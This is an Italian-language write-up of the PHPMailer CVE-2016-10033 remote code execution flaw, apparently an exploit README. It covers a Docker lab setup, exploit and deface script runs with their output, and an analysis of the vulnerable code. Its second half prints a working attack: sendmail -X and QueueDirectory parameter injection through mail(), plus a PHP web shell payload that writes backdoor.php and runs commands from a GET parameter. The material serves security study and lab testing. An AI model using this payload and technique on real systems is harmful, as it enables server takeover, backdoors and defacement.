
PHPMailer < 5.2.18 Esecuzione di codice remoto
PHPMailer è la classe di trasporto più popolare al mondo, con circa 9 milioni di utenti in tutto il mondo. I download continuano a un ritmo significativo ogni giorno. Utilizzato da molti progetti open-source: WordPress, Drupal, 1CRM, SugarCRM, Yii, Joomla! e molti altri
PHPMailer prima della versione 5.2.18 presenta una vulnerabilità che potrebbe portare all'esecuzione di codice remoto (RCE). La funzione mailSend nel trasporto isMail in PHPMailer, quando la proprietà Sender non è impostata, potrebbe consentire a un utente malintenzionato remoto di passare parametri aggiuntivi al comando mail e conseguentemente eseguire codice arbitrario tramite un \" (backslash e virgolette doppie) in un indirizzo From manipolato.
Per configurare un ambiente vulnerabile per il tuo test avrai bisogno di Docker installato, e basta eseguire il seguente comando:
docker run --rm -it -p 8080:80 vulnerables/cve-2016-10033
E avvierà un'applicazione web vulnerabile sul tuo host sulla porta 8080

Per sfruttare questo target basta eseguire:
./exploit host:port
Se stai usando questa immagine vulnerabile, puoi semplicemente eseguire:
./exploit localhost:8080
Dopo lo sfruttamento, un file chiamato backdoor.php verrà archiviato nella cartella radice della directory web. E l'exploit ti fornirà una shell dove puoi inviare comandi al backdoor:
./exploit.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Running whoami
www-data
RemoteShell>
Ed è tutto, hai la tua shell. C'è un altro exploit, che illustra un altro caso d'uso.
./deface.sh localhost:8080
[+] CVE-2016-10033 exploit by opsxcq
[+] Exploiting localhost:8080
[+] Target exploited, acessing shell at http://localhost:8080/backdoor.php
[+] Checking if the backdoor was created on target system
[+] Backdoor.php found on remote system
[+] Placing your message in the server
[+] Job done, exiting
E se visiti di nuovo la pagina, vedrai questo:

Prima di questo commit in class.phpmailer.php in un certo scenario non c'è filtro per i caratteri speciali nell'indirizzo email del mittente. Questa falla può portare all'esecuzione di codice remoto, tramite la funzione mail qui.
Analizzando il codice, non c'è filtro nella funzione mailSend()
$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
}
$this->Sender viene direttamente aggiunto alla variabile $params, che era stata filtrata nella funzione validateAddress(), ma poiché utilizza la specifica RFC 3696, consente alcuni caratteri che romperanno le cose. In questo caso, le virgolette:
Oltre a usare il backslash per l'escape, le virgolette doppie convenzionali possono essere utilizzate per racchiudere stringhe. Per esempio
"Abc@def"@example.com
"Fred Bloggs"@example.com
sono forme alternative dei primi due esempi sopra. Queste forme virgolettate sono raramente raccomandate e sono poco comuni nella pratica, ma, come discusso sopra, devono essere supportate dalle applicazioni che elaborano indirizzi email. In particolare, le forme virgolettate appaiono spesso nel contesto di indirizzi associati a transizioni da altri sistemi e contesti; tali requisiti transitori si presentano ancora e, poiché un sistema che accetta un indirizzo email fornito dall'utente non può "sapere" se quell'indirizzo è associato a un sistema legacy, le forme dell'indirizzo devono essere accettate e passate nell'ambiente email.
Puoi leggere l'intera RFC qui se vuoi. Ma anche, se la versione di PHP è inferiore alla 5.2.0 e non c'è PCRE installato, la variabile $patternselect in validateAddress() sarà impostata su noregex. Ciò farà sì che l'input possa evitare qualsiasi controllo regex. Passerà solo attraverso una piccola verifica:
case 'noregex':
//No PCRE! Do something _very_ approximate!
//Check the address is 3 chars or longer and contains an @ that's not the first or last char
return (strlen($address) >= 3
and strpos($address, '@') >= 1
and strpos($address, '@') != strlen($address) - 1);
Poi, il flusso del codice va alla funzione mailPassthru(), che, se eseguita in safe_mode non sarà vulnerabile a questa falla, come afferma il codice seguente
//Can't use additional_parameters in safe_mode
//@link http://php.net/manual/en/function.mail.php
if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
$result = @mail($to, $subject, $body, $header);
} else {
$result = @mail($to, $subject, $body, $header, $params);
}
Ma, se non è in esecuzione in safe_mode, allora il parametro speciale verrà passato a mail() e, se siamo fortunati, otterrà il nostro file contenente ciò che vogliamo venga scritto dove scegliamo di scriverlo.
Lo sfruttamento della funzione mail() di PHP non è una novità, ma è ancora vivo e le persone lo usano ancora. Per spiegare come funziona, diamo un'occhiata a come è definita la funzione mail():
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
Esistono diversi metodi di sfruttamento per vari risultati, ci concentreremo sullo sfruttamento del 5° parametro per ottenere l'esecuzione di codice remoto (RCE). Il parametro $additional_parameters viene utilizzato per passare flag aggiuntivi come opzioni della riga di comando al programma configurato per l'invio dell'email. Questa configurazione è definita dalla variabile sendmail_path.
Una nota sulla sicurezza dalla documentazione ufficiale PHP:
Il parametro additional_parameters può essere utilizzato per passare flag aggiuntivi come opzioni della riga di comando al programma configurato per l'invio della posta, come definito dall'impostazione di configurazione sendmail_path. Ad esempio, può essere usato per impostare l'indirizzo del mittente dell'involucro quando si utilizza sendmail con l'opzione -f sendmail.
Questo parametro viene escapato internamente da escapeshellcmd() per prevenire l'esecuzione di comandi. escapeshellcmd() previene l'esecuzione di comandi, ma consente di aggiungere parametri aggiuntivi. Per ragioni di sicurezza, si raccomanda all'utente di sanitizzare questo parametro per evitare di aggiungere parametri indesiderati al comando shell.
Considerando i parametri aggiuntivi che possono essere iniettati, utilizzeremo -X per sfruttare questa falla. Ulteriori informazioni sul parametro -X
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
Ci sono anche alcuni altri parametri interessanti che dovresti sapere che esistono:
-Cfile
Use alternate configuration file. Sendmail gives up any enhanced (set-user-ID or set-group-ID) privileges if an alternate configuration file is specified.
E
-O option=value
Set option option to the specified value. This form uses long names.
E per l'opzione -O, QueueDirectory è l'opzione più interessante lì, questa opzione seleziona la directory in cui accodare i messaggi.
Se vuoi leggere l'intera lista di parametri e opzioni, basta man sendmail o leggerla online qui
Basandoci su queste informazioni, e sulla capacità di controllare almeno uno degli altri parametri, possiamo sfruttare l'host. Di seguito i passaggi per uno sfruttamento riuscito:
$additional_parameters e un altro parametro di mail()webroot (aka /var/www/html per altri sistemi, /www per questo esempio)system() in questo esempio, con un po' di base64 e alcuni caratteri speciali | per renderlo più facile da analizzare.Ricorda che l'opzione -X scriverà il file di log, che conterrà tra le informazioni di log il tuo payload PHP, nella directory che indicherai. Un esempio di codice PHP vulnerabile:
$to = '[email protected]';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
Se esegui il codice sopra, creerà un file di log in /www/backdoor.php, questa è l'essenza di questo exploit.
<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>
Vuoi un modo facile, con un solo comando, per provare a individuare questa falla? Ricordati questo magico comando grep!
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Eseguendolo su questo repository risulterà in
src/class.phpmailer.php:700: $result = @mail($to, $subject, $body, $header, $params);
Questa vulnerabilità è stata trovata da Dawid Golunski.
Questo programma o i precedenti sono SOLO a scopo educativo. Non utilizzarlo senza autorizzazione. Si applica il solito disclaimer, specialmente il fatto che io (opsxcq) non sono responsabile per eventuali danni causati dall'uso diretto o indiretto delle informazioni o funzionalità fornite da questi programmi. L'autore o qualsiasi fornitore di servizi Internet non si assume ALCUNA responsabilità per il contenuto o l'uso improprio di questi programmi o di qualsiasi loro derivato. Usando questi programmi accetti il fatto che qualsiasi danno (perdita di dati, crash di sistema, compromissione del sistema, ecc.) causato dall'uso di questi programmi non è responsabilità di opsxcq.